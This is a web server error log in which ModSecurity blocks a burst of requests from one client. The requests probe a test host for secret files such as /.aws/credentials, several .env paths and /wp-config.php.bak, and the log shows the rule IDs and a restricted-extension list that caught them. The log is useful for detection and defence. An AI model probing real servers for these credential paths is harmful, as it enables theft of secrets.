[Sat Jul 26 14:23:43.580776 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd85QAAAAM&quot;]
[Sat Jul 26 14:23:43.580971 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd85QAAAAM&quot;]
[Sat Jul 26 14:23:43.656067 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd85wAAAAM&quot;]
[Sat Jul 26 14:23:43.656323 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd85wAAAAM&quot;]
[Sat Jul 26 14:23:43.656530 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd85wAAAAM&quot;]
[Sat Jul 26 14:23:43.745130 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd86QAAAAM&quot;]
[Sat Jul 26 14:23:43.745361 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd86QAAAAM&quot;]
[Sat Jul 26 14:23:43.745544 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd86QAAAAM&quot;]
[Sat Jul 26 14:23:43.784117 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd86gAAAAM&quot;]
[Sat Jul 26 14:23:43.784359 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd86gAAAAM&quot;]
[Sat Jul 26 14:23:43.784573 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd86gAAAAM&quot;]
[Sat Jul 26 14:23:43.866788 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravael/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87AAAAAM&quot;]
[Sat Jul 26 14:23:43.867016 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87AAAAAM&quot;]
[Sat Jul 26 14:23:43.867200 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87AAAAAM&quot;]
[Sat Jul 26 14:23:43.929836 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87gAAAAM&quot;]
[Sat Jul 26 14:23:43.930054 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87gAAAAM&quot;]
[Sat Jul 26 14:23:43.930223 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87gAAAAM&quot;]
[Sat Jul 26 14:23:43.993443 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87wAAAAM&quot;]
[Sat Jul 26 14:23:43.993675 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87wAAAAM&quot;]
[Sat Jul 26 14:23:43.993872 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aITIzzkdzR67myhRtfd87wAAAAM&quot;]
[Sat Jul 26 14:23:44.125939 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd88QAAAAM&quot;]
[Sat Jul 26 14:23:44.126197 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd88QAAAAM&quot;]
[Sat Jul 26 14:23:44.126404 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd88QAAAAM&quot;]
[Sat Jul 26 14:23:44.273425 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awsstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89AAAAAM&quot;]
[Sat Jul 26 14:23:44.273663 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89AAAAAM&quot;]
[Sat Jul 26 14:23:44.273835 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89AAAAAM&quot;]
[Sat Jul 26 14:23:44.295654 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89QAAAAM&quot;]
[Sat Jul 26 14:23:44.295794 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89QAAAAM&quot;]
[Sat Jul 26 14:23:44.295999 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89QAAAAM&quot;]
[Sat Jul 26 14:23:44.296172 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89QAAAAM&quot;]
[Sat Jul 26 14:23:44.318094 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89gAAAAM&quot;]
[Sat Jul 26 14:23:44.318312 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89gAAAAM&quot;]
[Sat Jul 26 14:23:44.318506 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd89gAAAAM&quot;]
